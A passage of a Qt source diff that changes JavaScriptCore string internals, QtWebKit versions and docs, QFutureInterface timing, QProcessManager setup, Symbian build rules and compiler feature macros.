 
     // Used to construct new strings sharing an existing shared buffer.
     UStringImpl(UChar* data, int length, PassRefPtr<SharedUChar> sharedBuffer)
         : m_data(data)
+        , m_bufferShared(sharedBuffer.releaseRef())
         , m_length(length)
-        , m_refCount(s_refCountIncrement)
+        , m_refCountAndFlags(s_refCountIncrement | BufferShared)
         , m_hash(0)
-        , m_isIdentifier(false)
-        , m_dataBuffer(sharedBuffer.releaseRef(), BufferShared)
     {
         checkConsistency();
     }
@@ -277,26 +237,31 @@ private:
     // This number must be at least 2 to avoid sharing empty, null as well as 1 character strings from SmallStrings.
     static const int s_minLengthToShare = 10;
     static const unsigned s_copyCharsInlineCutOff = 20;
-    static const uintptr_t s_bufferOwnershipMask = 3;
-    static const uintptr_t s_reportedCostBit = 4;
     // We initialize and increment/decrement the refCount for all normal (non-static) strings by the value 2.
     // We initialize static strings with an odd number (specifically, 1), such that the refCount cannot reach zero.
-    static const int s_refCountIncrement = 2;
-    static const int s_staticRefCountInitialValue = 1;
-
-    UStringImpl* bufferOwnerString() { return (bufferOwnership() == BufferSubstring) ? m_dataBuffer.asPtr<UStringImpl*>() :  this; }
-    const UStringImpl* bufferOwnerString() const { return (bufferOwnership() == BufferSubstring) ? m_dataBuffer.asPtr<UStringImpl*>() :  this; }
+    static const unsigned s_refCountMask = 0xFFFFFFF0;
+    static const int s_refCountIncrement = 0x20;
+    static const int s_refCountFlagStatic = 0x10;
+    static const unsigned s_refCountFlagHasReportedCost = 0x8;
+    static const unsigned s_refCountFlagIsIdentifier = 0x4;
+    static const unsigned s_refCountMaskBufferOwnership = 0x3;
+
+    UStringImpl* bufferOwnerString() { return (bufferOwnership() == BufferSubstring) ? m_bufferSubstring :  this; }
+    const UStringImpl* bufferOwnerString() const { return (bufferOwnership() == BufferSubstring) ? m_bufferSubstring :  this; }
     SharedUChar* baseSharedBuffer();
-    unsigned bufferOwnership() const { return m_dataBuffer & s_bufferOwnershipMask; }
-    bool isStatic() const { return m_refCount & 1; }
+    unsigned bufferOwnership() const { return m_refCountAndFlags & s_refCountMaskBufferOwnership; }
+    bool isStatic() const { return m_refCountAndFlags & s_refCountFlagStatic; }
 
     // unshared data
     UChar* m_data;
+    union {
+        void* m_buffer;
+        UStringImpl* m_bufferSubstring;
+        SharedUChar* m_bufferShared;
+    };
     int m_length;
-    unsigned m_refCount;
-    mutable unsigned m_hash : 31;
-    mutable unsigned m_isIdentifier : 1;
-    UntypedPtrAndBitfield m_dataBuffer;
+    unsigned m_refCountAndFlags;
+    mutable unsigned m_hash;
 
     JS_EXPORTDATA static UStringImpl* s_null;
     JS_EXPORTDATA static UStringImpl* s_empty;
diff --git a/src/3rdparty/javascriptcore/VERSION b/src/3rdparty/javascriptcore/VERSION
index b4744b7..13943b2 100644
--- a/src/3rdparty/javascriptcore/VERSION
+++ b/src/3rdparty/javascriptcore/VERSION
@@ -4,8 +4,8 @@ This is a snapshot of JavaScriptCore from
 
 The commit imported was from the
 
-        javascriptcore-snapshot-24012011 branch/tag
+        javascriptcore-snapshot-27012011 branch/tag
 
 and has the sha1 checksum
 
-        d143bde5ae8cff229aebd43487a2fce5e713e990
+        3ab0f621048fbeb480b687a28ed31d92d8506150
diff --git a/src/3rdparty/webkit/WebCore/WebCore.pro b/src/3rdparty/webkit/WebCore/WebCore.pro
index e82ec4c..2de6961 100644
--- a/src/3rdparty/webkit/WebCore/WebCore.pro
+++ b/src/3rdparty/webkit/WebCore/WebCore.pro
@@ -15,7 +15,7 @@ symbian: {
     webkitlibs.path = /sys/bin
     vendorinfo = \
         "; Localised Vendor name" \
-        "%{\"Nokia, Qt\"}" \
+        "%{\"Nokia\"}" \
         " " \
         "; Unique Vendor name" \
         ":\"Nokia, Qt\"" \
diff --git a/src/3rdparty/webkit/WebKit/qt/Api/qwebkitglobal.h b/src/3rdparty/webkit/WebKit/qt/Api/qwebkitglobal.h
index 63d9e55..2c0bf6d 100644
--- a/src/3rdparty/webkit/WebKit/qt/Api/qwebkitglobal.h
+++ b/src/3rdparty/webkit/WebKit/qt/Api/qwebkitglobal.h
@@ -22,9 +22,9 @@
 
 #include <QtCore/qglobal.h>
 
-#define QTWEBKIT_VERSION_STR "2.0.1"
+#define QTWEBKIT_VERSION_STR "2.0.2"
 // QTWEBKIT_VERSION is (major << 16) + (minor << 8) + patch. Similar to Qt.
-#define QTWEBKIT_VERSION 0x020001
+#define QTWEBKIT_VERSION 0x020002
 // Use: #if (QTWEBKIT_VERSION >= QTWEBKIT_VERSION_CHECK(2, 0, 0)). Similar to Qt.
 #define QTWEBKIT_VERSION_CHECK(major, minor, patch) ((major<<16)|(minor<<8)|(patch))
 
diff --git a/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp b/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp
index 7a8aae7..4238d33 100644
--- a/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp
+++ b/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp
@@ -742,11 +742,11 @@ QWebPage* QDeclarativeWebView::page() const
     See QWebSettings for details of these properties.
 
     \qml
-        WebView {
-            settings.pluginsEnabled: true
-            settings.standardFontFamily: "Arial"
-            ...
-        }
+    WebView {
+        settings.pluginsEnabled: true
+        settings.standardFontFamily: "Arial"
+        // ...
+    }
     \endqml
 */
 QDeclarativeWebSettings* QDeclarativeWebView::settingsObject() const
diff --git a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc
index c2a38fd..d8ca5f9 100644
--- a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc
+++ b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc
@@ -415,7 +415,7 @@
 
     \section2 Internet Security
 
-    When exposing native object to an open web environment, it is importwhichant to understand the security
+    When exposing native object to an open web environment, it is important to understand the security
     implications. Think whether the exposed object enables the web environment access to things that
     shouldn't be open, and whether the web content loaded by that web page comes from a trusted. In general, when
     exposing native QObjects that give the web environment access to private information or to functionality
diff --git a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc
index 0335d46..2be8e5e 100644
--- a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc
+++ b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc
@@ -103,8 +103,8 @@
     The following locations are searched for plugins:
 
     \table
-    \header \o Linux/Unix (X11)  \o Windows
-    \row \o{1,3}
+    \header \o Linux/Unix (X11)
+    \row \o
     \list
     \o \c{.mozilla/plugins} in the user's home directory
     \o \c{.netscape/plugins} in the user's home directory
@@ -134,19 +134,20 @@
     \o \c{$QTWEBKIT_PLUGIN_PATH}
     \endlist
     \endlist
+    \endtable
 
-    \o
+    \table
+    \header  \o Windows
+    \row \o
     \list
     \o The user's \c{Application Data\Mozilla\plugins} directory
     \o Standard system locations of plugins for Quicktime, Flash, etc.
     \endlist
+    \endtable
 
-    \row
-    \raw HTML
-    <th class="qt-style">Mac OS X</th>
-    \endraw
-    \row
-    \o
+    \table
+    \header \o Mac OS X
+    \row \o
     \list
     \o \c{Library/Internet Plug-Ins} in the user's home directory
     \o The system \c{/Library/Internet Plug-Ins} directory
diff --git a/src/3rdparty/zlib/zlib.h b/src/3rdparty/zlib/zlib.h
index 9e5b467..bdb9a3d 100644
--- a/src/3rdparty/zlib/zlib.h
+++ b/src/3rdparty/zlib/zlib.h
@@ -1171,7 +1171,7 @@ ZEXTERN int Q_ZEXPORT    gzgetc OF((gzFile file));
    or -1 in case of end of file or error.
 */
 
-ZEXTERN int ZEXPORT    gzungetc OF((int c, gzFile file));
+ZEXTERN int Q_ZEXPORT    gzungetc OF((int c, gzFile file));
 /*
       Push one character back onto the stream to be read again later.
    Only one character of push-back is allowed.  gzungetc() returns the
diff --git a/src/corelib/animation/qabstractanimation.cpp b/src/corelib/animation/qabstractanimation.cpp
index 7c16f7e..aa83aac 100644
--- a/src/corelib/animation/qabstractanimation.cpp
+++ b/src/corelib/animation/qabstractanimation.cpp
@@ -491,6 +491,7 @@ QDefaultAnimationDriver::QDefaultAnimationDriver(QUnifiedTimer *timer)
 void QDefaultAnimationDriver::timerEvent(QTimerEvent *e)
 {
     Q_ASSERT(e->timerId() == m_timer.timerId());
+    Q_UNUSED(e); // if the assertions are disabled
     advance();
 }
 
diff --git a/src/corelib/animation/qvariantanimation.cpp b/src/corelib/animation/qvariantanimation.cpp
index 212e85d..c76cb89 100644
--- a/src/corelib/animation/qvariantanimation.cpp
+++ b/src/corelib/animation/qvariantanimation.cpp
@@ -431,12 +431,17 @@ void QVariantAnimation::registerInterpolator(QVariantAnimation::Interpolator fun
 {
     // will override any existing interpolators
     QInterpolatorVector *interpolators = registeredInterpolators();
+    // When built on solaris with GCC, the destructors can be called
+    // in such an order that we get here with interpolators == NULL,
+    // to continue causes the app to crash on exit with a SEGV
+    if (interpolators) {
 #ifndef QT_NO_THREAD
-    QMutexLocker locker(QMutexPool::globalInstanceGet(interpolators));
+        QMutexLocker locker(QMutexPool::globalInstanceGet(interpolators));
 #endif
-    if (int(interpolationType) >= interpolators->count())
-        interpolators->resize(int(interpolationType) + 1);
-    interpolators->replace(interpolationType, func);
+        if (int(interpolationType) >= interpolators->count())
+            interpolators->resize(int(interpolationType) + 1);
+        interpolators->replace(interpolationType, func);
+    }
 }
 
 
diff --git a/src/corelib/arch/qatomic_armv5.h b/src/corelib/arch/qatomic_armv5.h
index f0f2f9a..820be7b 100644
--- a/src/corelib/arch/qatomic_armv5.h
+++ b/src/corelib/arch/qatomic_armv5.h
@@ -107,7 +107,7 @@ Q_INLINE_TEMPLATE bool QBasicAtomicPointer<T>::isFetchAndAddWaitFree()
 
 // kernel places a restartable cmpxchg implementation at a fixed address
 extern "C" typedef int (qt_atomic_eabi_cmpxchg_int_t)(int oldval, int newval, volatile int *ptr);
-extern "C" typedef int (qt_atomic_eabi_cmpxchg_ptr_t)(const void *oldval, void *newval, volatile void *ptr);
+extern "C" typedef int (qt_atomic_eabi_cmpxchg_ptr_t)(const void *oldval, const void *newval, volatile void *ptr);
 #define qt_atomic_eabi_cmpxchg_int (*reinterpret_cast<qt_atomic_eabi_cmpxchg_int_t *>(0xffff0fc0))
 #define qt_atomic_eabi_cmpxchg_ptr (*reinterpret_cast<qt_atomic_eabi_cmpxchg_ptr_t *>(0xffff0fc0)) 
 
diff --git a/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h b/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h
index 4eff0f3..d1ce705 100644
--- a/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h
+++ b/src/corelib/arch/symbian/qt_hybridheap_symbian_p.h
@@ -43,8 +43,9 @@
 #define QT_HYBRIDHEAP_SYMBIAN_H
 
 #include <qglobal.h>
+#include <e32cmn.h>
 
-#if !defined(SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS) && !defined(__WINS__)
+#if !defined(__SYMBIAN_KERNEL_HYBRID_HEAP__) && !defined(__WINS__)
 //Enable the (backported) new allocator. When it is available in OS,
 //this flag should be disabled for that OS version onward
 #define QT_USE_NEW_SYMBIAN_ALLOCATOR
diff --git a/src/corelib/concurrent/qfutureinterface.cpp b/src/corelib/concurrent/qfutureinterface.cpp
index 6256944..627d0c7 100644
--- a/src/corelib/concurrent/qfutureinterface.cpp
+++ b/src/corelib/concurrent/qfutureinterface.cpp
@@ -421,9 +421,11 @@ bool QFutureInterfaceBase::referenceCountIsOne() const
 
 QFutureInterfaceBasePrivate::QFutureInterfaceBasePrivate(QFutureInterfaceBase::State initialState)
     : refCount(1), m_progressValue(0), m_progressMinimum(0), m_progressMaximum(0),
-      state(initialState), progressTimeStarted(false), pendingResults(0),
+      state(initialState), pendingResults(0),
       manualProgress(false), m_expectedResultCount(0), runnable(0)
-{ }
+{
+    progressTime.invalidate();
+}
 
 int QFutureInterfaceBasePrivate::internal_resultCount() const
 {
@@ -455,12 +457,11 @@ bool QFutureInterfaceBasePrivate::internal_updateProgress(int progress,
     m_progressValue = progress;
     m_progressText = progressText;
 
-    if (progressTimeStarted == true && m_progressValue != m_progressMaximum) // make sure the first and last steps are emitted.
+    if (progressTime.isValid() && m_progressValue != m_progressMaximum) // make sure the first and last steps are emitted.
         if (progressTime.elapsed() < (1000 / MaxProgressEmitsPerSecond))
             return false;
 
     progressTime.start();
-    progressTimeStarted = true;
     return true;
 }
 
diff --git a/src/corelib/concurrent/qfutureinterface_p.h b/src/corelib/concurrent/qfutureinterface_p.h
index 7f93c75..538947e 100644
--- a/src/corelib/concurrent/qfutureinterface_p.h
+++ b/src/corelib/concurrent/qfutureinterface_p.h
@@ -53,7 +53,7 @@
 // We mean it.
 //
 
-#include <QtCore/qdatetime.h>
+#include <QtCore/qelapsedtimer.h>
 #include <QtCore/qcoreevent.h>
 #include <QtCore/qlist.h>
 #include <QtCore/qwaitcondition.h>
@@ -137,8 +137,7 @@ public:
     int m_progressMinimum;
     int m_progressMaximum;
     QFutureInterfaceBase::State state;
-    QTime progressTime;
-    bool progressTimeStarted;
+    QElapsedTimer progressTime;
     QWaitCondition pausedWaitCondition;
     int pendingResults;
     QtConcurrent::ResultStoreBase m_results;
diff --git a/src/corelib/corelib.pro b/src/corelib/corelib.pro
index e946d5d..f03550d 100644
--- a/src/corelib/corelib.pro
+++ b/src/corelib/corelib.pro
@@ -40,7 +40,10 @@ contains(DEFINES,QT_EVAL):include(eval.pri)
 symbian: {
     TARGET.UID3=0x2001B2DC
 
-    # Workaroud for problems with paging this dll
-    MMP_RULES -= PAGED
-    MMP_RULES *= UNPAGED
+    # Problems using data exports from this DLL mean that we can't page it on releases that don't support
+    # data exports (currently that's any release before Symbian^3)
+    pagingBlock = "$${LITERAL_HASH}ifndef SYMBIAN_DLL_DATA_EXPORTS_SUPPORTED" \
+                  "UNPAGED" \
+                  "$${LITERAL_HASH}endif"
+    MMP_RULES += pagingBlock
 }
diff --git a/src/corelib/global/global.pri b/src/corelib/global/global.pri
index 8eae391..83caa96 100644
--- a/src/corelib/global/global.pri
+++ b/src/corelib/global/global.pri
@@ -23,7 +23,7 @@ INCLUDEPATH += $$QT_BUILD_TREE/src/corelib/global
 # Only used on platforms with CONFIG += precompile_header
 PRECOMPILED_HEADER = global/qt_pch.h
 
-linux*:!static:!symbian-armcc:!symbian-gcce {
+linux*:!static:!symbian-gcce:!*-armcc* {
    QMAKE_LFLAGS += -Wl,-e,qt_core_boilerplate
    prog=$$quote(if (/program interpreter: (.*)]/) { print $1; })
    DEFINES += ELF_INTERPRETER=\\\"$$system(readelf -l /bin/ls | perl -n -e \'$$prog\')\\\"
diff --git a/src/corelib/global/qglobal.h b/src/corelib/global/qglobal.h
index 2a41b9e..2ddb91d 100644
--- a/src/corelib/global/qglobal.h
+++ b/src/corelib/global/qglobal.h
@@ -448,6 +448,9 @@ namespace QT_NAMESPACE {}
 #  if __TARGET_ARCH_ARM >= 6
 #    define QT_HAVE_ARMV6
 #  endif
+/* work-around for missing compiler intrinsics */
+#  define __is_empty(X) false
+#  define __is_pod(X) false
 #elif defined(__GNUC__)
 #  define Q_CC_GNU
 #  define Q_C_CALLBACKS
@@ -457,7 +460,6 @@ namespace QT_NAMESPACE {}
 #  if defined(__INTEL_COMPILER)
 /* Intel C++ also masquerades as GCC 3.2.0 */
 #    define Q_CC_INTEL
-#    define Q_NO_TEMPLATE_FRIENDS
 #  endif
 #  if defined(__clang__)
 /* Clang also masquerades as GCC 4.2.1 */
@@ -760,6 +762,24 @@ namespace QT_NAMESPACE {}
 #  error "Qt has not been tested with this compiler - talk to qt-bugs@trolltech.com"
 #endif
 
+#ifdef Q_CC_INTEL
+#  if __INTEL_COMPILER < 1200
+#    define Q_NO_TEMPLATE_FRIENDS
+#  endif
+#  if defined(__GXX_EXPERIMENTAL_CXX0X__) || defined(__GXX_EXPERIMENTAL_CPP0X__)
+#    if __INTEL_COMPILER >= 1100
+#      define Q_COMPILER_RVALUE_REFS
+#      define Q_COMPILER_EXTERN_TEMPLATES
+#    elif __INTEL_COMPILER >= 1200
+#      define Q_COMPILER_VARIADIC_TEMPLATES
+#      define Q_COMPILER_AUTO_TYPE
+#      define Q_COMPILER_DEFAULT_DELETE_MEMBERS
+#      define Q_COMPILER_CLASS_ENUM
+#      define Q_COMPILER_LAMBDA
+#    endif
+#  endif
+#endif
+
 #ifndef Q_PACKED
 #  define Q_PACKED
 #  undef Q_NO_PACKED_REFERENCE
@@ -1199,6 +1219,11 @@ class QDataStream;
 
 #define QT_SUPPORTS(FEATURE) (!defined(QT_NO_##FEATURE))
 
+#if defined(Q_OS_LINUX) && defined(Q_CC_RVCT)
+#  define Q_DECL_EXPORT     __attribute__((visibility("default")))
+#  define Q_DECL_IMPORT     __attribute__((visibility("default")))
+#endif
+
 #ifndef Q_DECL_EXPORT
 #  if defined(Q_OS_WIN) || defined(Q_CC_NOKIAX86) || defined(Q_CC_RVCT)
 #    define Q_DECL_EXPORT __declspec(dllexport)
@@ -1642,7 +1667,7 @@ inline void qUnused(T &x) { (void)x; }
 #endif
 
 #ifndef qPrintable
-#  define qPrintable(string) (string).toLocal8Bit().constData()
+#  define qPrintable(string) QString(string).toLocal8Bit().constData()
 #endif
 
 Q_CORE_EXPORT void qDebug(const char *, ...) /* print debug message */
@@ -2461,9 +2486,14 @@ QT3_SUPPORT Q_CORE_EXPORT const char *qInstallPathSysconf();
 #  define QT_SYMBIAN_SUPPORTS_SGIMAGE
 #endif
 
-#ifdef SYMBIAN_GRAPHICS_WSERV_QT_EFFECTS
+#ifdef SYMBIAN_GRAPHICS_SET_SURFACE_TRANSPARENCY_AVAILABLE
 #  define Q_SYMBIAN_SEMITRANSPARENT_BG_SURFACE
 #endif
+
+#ifdef SYMBIAN_GRAPHICS_TRANSITION_EFFECTS_SIGNALING_AVAILABLE
+#  define Q_SYMBIAN_TRANSITION_EFFECTS
+#endif
+
 #endif
 
 //Symbian does not support data imports from a DLL
diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h
index 7a6ab36..d84da0d 100644
--- a/src/corelib/global/qnamespace.h
+++ b/src/corelib/global/qnamespace.h
@@ -511,9 +511,16 @@ public:
 #if 0 // these values are reserved for Maemo5 - do not re-use them
         WA_Maemo5NonComposited = 126,
         WA_Maemo5StackedWindow = 127,
-        WA_Maemo5PortraitOrientation = 128,
-        WA_Maemo5LandscapeOrientation = 129,
-        WA_Maemo5AutoOrientation = 130,
+#endif
+
+        WA_LockPortraitOrientation = 128,
+        WA_LockLandscapeOrientation = 129,
+        WA_AutoOrientation = 130,
+
+#if 0 // these values are reserved for Maemo5 - do not re-use them
+        WA_Maemo5PortraitOrientation = WA_LockPortraitOrientation,
+        WA_Maemo5LandscapeOrientation = WA_LockLandscapeOrientation,
+        WA_Maemo5AutoOrientation = WA_AutoOrientation,
         WA_Maemo5ShowProgressIndicator = 131,
 #endif
 
@@ -536,7 +543,8 @@ public:
         AA_DontUseNativeMenuBar = 6,
         AA_MacDontSwapCtrlAndMeta = 7,
         AA_S60DontConstructApplicationPanes = 8,
-        AA_X11InitThreads = 9,
+        AA_S60DisablePartialScreenInputMode = 9,
+        AA_X11InitThreads = 10,
 
         // Add new attributes before this line
         AA_AttributeCount
diff --git a/src/corelib/global/qnamespace.qdoc b/src/corelib/global/qnamespace.qdoc
index 9facad7..cbdf9d1 100644
--- a/src/corelib/global/qnamespace.qdoc
+++ b/src/corelib/global/qnamespace.qdoc
@@ -156,11 +156,17 @@
            whole lifetime. This attribute must be set before QApplication is
            constructed.
 
+    \omitvalue AA_S60DisablePartialScreenInputMode By default in Symbian^3,
+           a separate editing window is opened on top of an application. This is exactly
+           like editing on previous versions of Symbian behave. When this attribute
+           is true, a virtual keyboard window is shown on top of application and it
+           is ensured that the focused text widget is visible. This is only supported in
+           Symbian^3. (internal)
+
     \value AA_X11InitThreads Calls XInitThreads() as part of the QApplication
            construction in order to make Xlib calls thread-safe. This
            attribute must be set before QApplication is constructed.
 
-
     \omitvalue AA_AttributeCount
 */
 
@@ -1257,6 +1263,13 @@
     to this top level window. This attribute has no effect on non-X11
     platforms.
 
+    \value WA_LockPortraitOrientation Locks the widget to a portrait orientation,
+    ignoring changes to the display's orientation with respect to the user.
+    \value WA_LockLandscapeOrientation Locks the widget to a landscape orientation,
+    ignoring changes to the display's orientation with respect to the user.
+    \value WA_AutoOrientation Causes the widget to change orientation whenever the
+    display changes orientation with respect to the user.
+    
     \value WA_MacNoShadow Since Qt 4.8, this attribute disables drop shadows
     for this top level window. Only affects Cocoa builds of Qt for Mac OS X.
 
diff --git a/src/corelib/io/qfilesystemengine_unix.cpp b/src/corelib/io/qfilesystemengine_unix.cpp
index 8b88ffd..030be1b 100644
--- a/src/corelib/io/qfilesystemengine_unix.cpp
+++ b/src/corelib/io/qfilesystemengine_unix.cpp
@@ -534,8 +534,7 @@ bool QFileSystemEngine::copyFile(const QFileSystemEntry &source, const QFileSyst
 {
     Q_UNUSED(source);
     Q_UNUSED(target);
-    // # we can implement this using sendfile(2)
-    //when this function returns false, block copy is used in QFile which sets the error code.
+    error = QSystemError(ENOSYS, QSystemError::StandardLibraryError); //Function not implemented
     return false;
 }
 
diff --git a/src/corelib/io/qnoncontiguousbytedevice.cpp b/src/corelib/io/qnoncontiguousbytedevice.cpp
index 235f671..71cf92d 100644
--- a/src/corelib/io/qnoncontiguousbytedevice.cpp
+++ b/src/corelib/io/qnoncontiguousbytedevice.cpp
@@ -153,6 +153,7 @@ void QNonContiguousByteDevice::disableReset()
     resetDisabled = true;
 }
 
+// FIXME we should scrap this whole implementation and instead change the ByteArrayImpl to be able to cope with sub-arrays?
 QNonContiguousByteDeviceBufferImpl::QNonContiguousByteDeviceBufferImpl(QBuffer *b) : QNonContiguousByteDevice()
 {
     buffer = b;
@@ -244,7 +245,7 @@ qint64 QNonContiguousByteDeviceByteArrayImpl::size()
     return byteArray->size();
 }
 
-QNonContiguousByteDeviceRingBufferImpl::QNonContiguousByteDeviceRingBufferImpl(QRingBuffer *rb)
+QNonContiguousByteDeviceRingBufferImpl::QNonContiguousByteDeviceRingBufferImpl(QSharedPointer<QRingBuffer> rb)
     : QNonContiguousByteDevice(), currentPosition(0)
 {
     ringBuffer = rb;
@@ -355,6 +356,11 @@ bool QNonContiguousByteDeviceIoDeviceImpl::advanceReadPointer(qint64 amount)
     // normal advancement
     currentReadBufferPosition += amount;
 
+    if (size() == -1)
+        emit readProgress(totalAdvancements, totalAdvancements);
+    else
+        emit readProgress(totalAdvancements, size());
+
     // advancing over that what has actually been read before
     if (currentReadBufferPosition > currentReadBufferAmount) {
         qint64 i = currentReadBufferPosition - currentReadBufferAmount;
@@ -370,10 +376,6 @@ bool QNonContiguousByteDeviceIoDeviceImpl::advanceReadPointer(qint64 amount)
         currentReadBufferAmount = 0;
     }
 
-    if (size() == -1)
-        emit readProgress(totalAdvancements, totalAdvancements);
-    else
-        emit readProgress(totalAdvancements, size());
 
     return true;
 }
@@ -505,7 +507,7 @@ QNonContiguousByteDevice* QNonContiguousByteDeviceFactory::create(QIODevice *dev
 
     \internal
 */
-QNonContiguousByteDevice* QNonContiguousByteDeviceFactory::create(QRingBuffer *ringBuffer)
+QNonContiguousByteDevice* QNonContiguousByteDeviceFactory::create(QSharedPointer<QRingBuffer> ringBuffer)
 {
     return new QNonContiguousByteDeviceRingBufferImpl(ringBuffer);
 }
diff --git a/src/corelib/io/qnoncontiguousbytedevice_p.h b/src/corelib/io/qnoncontiguousbytedevice_p.h
index ff946ed..5e0b1bb 100644
--- a/src/corelib/io/qnoncontiguousbytedevice_p.h
+++ b/src/corelib/io/qnoncontiguousbytedevice_p.h
@@ -57,6 +57,7 @@
 #include <QtCore/qbytearray.h>
 #include <QtCore/qbuffer.h>
 #include <QtCore/qiodevice.h>
+#include <QtCore/QSharedPointer>
 #include "private/qringbuffer_p.h"
 
 QT_BEGIN_NAMESPACE
@@ -70,6 +71,7 @@ public:
     virtual bool atEnd() = 0;
     virtual bool reset() = 0;
     void disableReset();
+    bool isResetDisabled() { return resetDisabled; }
     virtual qint64 size() = 0;
 
     virtual ~QNonContiguousByteDevice();
@@ -89,7 +91,7 @@ class Q_CORE_EXPORT QNonContiguousByteDeviceFactory
 public:
     static QNonContiguousByteDevice* create(QIODevice *device);
     static QNonContiguousByteDevice* create(QByteArray *byteArray);
-    static QNonContiguousByteDevice* create(QRingBuffer *ringBuffer);
+    static QNonContiguousByteDevice* create(QSharedPointer<QRingBuffer> ringBuffer);
     static QIODevice* wrap(QNonContiguousByteDevice* byteDevice);
 };
 
@@ -114,7 +116,7 @@ protected:
 class QNonContiguousByteDeviceRingBufferImpl : public QNonContiguousByteDevice
 {
 public:
-    QNonContiguousByteDeviceRingBufferImpl(QRingBuffer *rb);
+    QNonContiguousByteDeviceRingBufferImpl(QSharedPointer<QRingBuffer> rb);
     ~QNonContiguousByteDeviceRingBufferImpl();
     const char* readPointer(qint64 maximumLength, qint64 &len);
     bool advanceReadPointer(qint64 amount);
@@ -122,13 +124,14 @@ public:
     bool reset();
     qint64 size();
 protected:
-    QRingBuffer* ringBuffer;
+    QSharedPointer<QRingBuffer> ringBuffer;
     qint64 currentPosition;
 };
 
 
 class QNonContiguousByteDeviceIoDeviceImpl : public QNonContiguousByteDevice
 {
+    Q_OBJECT
 public:
     QNonContiguousByteDeviceIoDeviceImpl(QIODevice *d);
     ~QNonContiguousByteDeviceIoDeviceImpl();
@@ -150,6 +153,7 @@ protected:
 
 class QNonContiguousByteDeviceBufferImpl : public QNonContiguousByteDevice
 {
+    Q_OBJECT
 public:
     QNonContiguousByteDeviceBufferImpl(QBuffer *b);
     ~QNonContiguousByteDeviceBufferImpl();
diff --git a/src/corelib/io/qprocess_unix.cpp b/src/corelib/io/qprocess_unix.cpp
index b120f7f..ba61bda 100644
--- a/src/corelib/io/qprocess_unix.cpp
+++ b/src/corelib/io/qprocess_unix.cpp
@@ -169,27 +169,17 @@ private:
 
 Q_GLOBAL_STATIC(QMutex, processManagerGlobalMutex)
 
-static QProcessManager *processManagerInstance = 0;
-
-static QProcessManager *processManager()
-{
+static QProcessManager *processManager() {
     // The constructor of QProcessManager should be called only once
     // so we cannot use Q_GLOBAL_STATIC directly for QProcessManager
     QMutex *mutex = processManagerGlobalMutex();
     QMutexLocker locker(mutex);
-
-    if (!processManagerInstance)
-        QProcessPrivate::initializeProcessManager();
-
-    Q_ASSERT(processManagerInstance);
-    return processManagerInstance;
+    static QProcessManager processManager;
+    return &processManager;
 }
 
 QProcessManager::QProcessManager()
 {
-    // can only be called from main thread
-    Q_ASSERT(!qApp || qApp->thread() == QThread::currentThread());
-
 #if defined (QPROCESS_DEBUG)
     qDebug() << "QProcessManager::QProcessManager()";
 #endif
@@ -208,8 +198,6 @@ QProcessManager::QProcessManager()
     ::sigaction(SIGCHLD, &action, &oldAction);
     if (oldAction.sa_handler != qt_sa_sigchld_handler)
 	qt_sa_old_sigchld_handler = oldAction.sa_handler;
-
-    processManagerInstance = this;
 }
 
 QProcessManager::~QProcessManager()
@@ -238,8 +226,6 @@ QProcessManager::~QProcessManager()
     if (oldAction.sa_handler != qt_sa_sigchld_handler) {
         ::sigaction(SIGCHLD, &oldAction, 0);
     }
-
-    processManagerInstance = 0;
 }
 
 void QProcessManager::run()
@@ -659,7 +645,7 @@ void QProcessPrivate::startProcess()
     if (childPid < 0) {
         // Cleanup, report error and return
 #if defined (QPROCESS_DEBUG)
-        qDebug("qt_fork failed: %s", qt_error_string(lastForkErrno));
+        qDebug("qt_fork failed: %s", qPrintable(qt_error_string(lastForkErrno)));
 #endif
         processManager()->unlock();
         q->setProcessState(QProcess::NotRunning);
@@ -863,7 +849,7 @@ qint64 QProcessPrivate::writeToStdin(const char *data, qint64 maxlen)
     qDebug("QProcessPrivate::writeToStdin(%p \"%s\", %lld) == %lld",
            data, qt_prettyDebug(data, maxlen, 16).constData(), maxlen, written);
     if (written == -1)
-        qDebug("QProcessPrivate::writeToStdin(), failed to write (%s)", qt_error_string(errno));
+        qDebug("QProcessPrivate::writeToStdin(), failed to write (%s)", qPrintable(qt_error_string(errno)));
 #endif
     // If the O_NONBLOCK flag is set and If some data can be written without blocking
     // the process, write() will transfer what it can and return the number of bytes written.
@@ -1306,15 +1292,7 @@ bool QProcessPrivate::startDetached(const QString &program, const QStringList &a
 
 void QProcessPrivate::initializeProcessManager()
 {
-    if (qApp && qApp->thread() != QThread::currentThread()) {
-        // The process manager must be initialized in the main thread
-        // Note: The call below will re-enter this function, but in the right thread,
-        // so the else statement below will be executed.
-        QMetaObject::invokeMethod(qApp, "_q_initializeProcessManager", Qt::BlockingQueuedConnection);
-    } else {
-        static QProcessManager processManager;
-        Q_UNUSED(processManager);
-    }
+    (void) processManager();
 }
 
 QT_END_NAMESPACE
diff --git a/src/corelib/io/qtextstream.cpp b/src/corelib/io/qtextstream.cpp
index b630502..a5837cb 100644
--- a/src/corelib/io/qtextstream.cpp
+++ b/src/corelib/io/qtextstream.cpp
@@ -1264,6 +1264,7 @@ qint64 QTextStream::pos() const
                 return qint64(-1);
         }
         thatd->readBufferOffset = oldReadBufferOffset;
+        thatd->readConverterSavedStateOffset = 0;
 
         // Return the device position.
         return d->device->pos();
diff --git a/src/corelib/kernel/qcore_symbian_p.h b/src/corelib/kernel/qcore_symbian_p.h
index 3ef71e0..5b48689 100644
--- a/src/corelib/kernel/qcore_symbian_p.h
+++ b/src/corelib/kernel/qcore_symbian_p.h
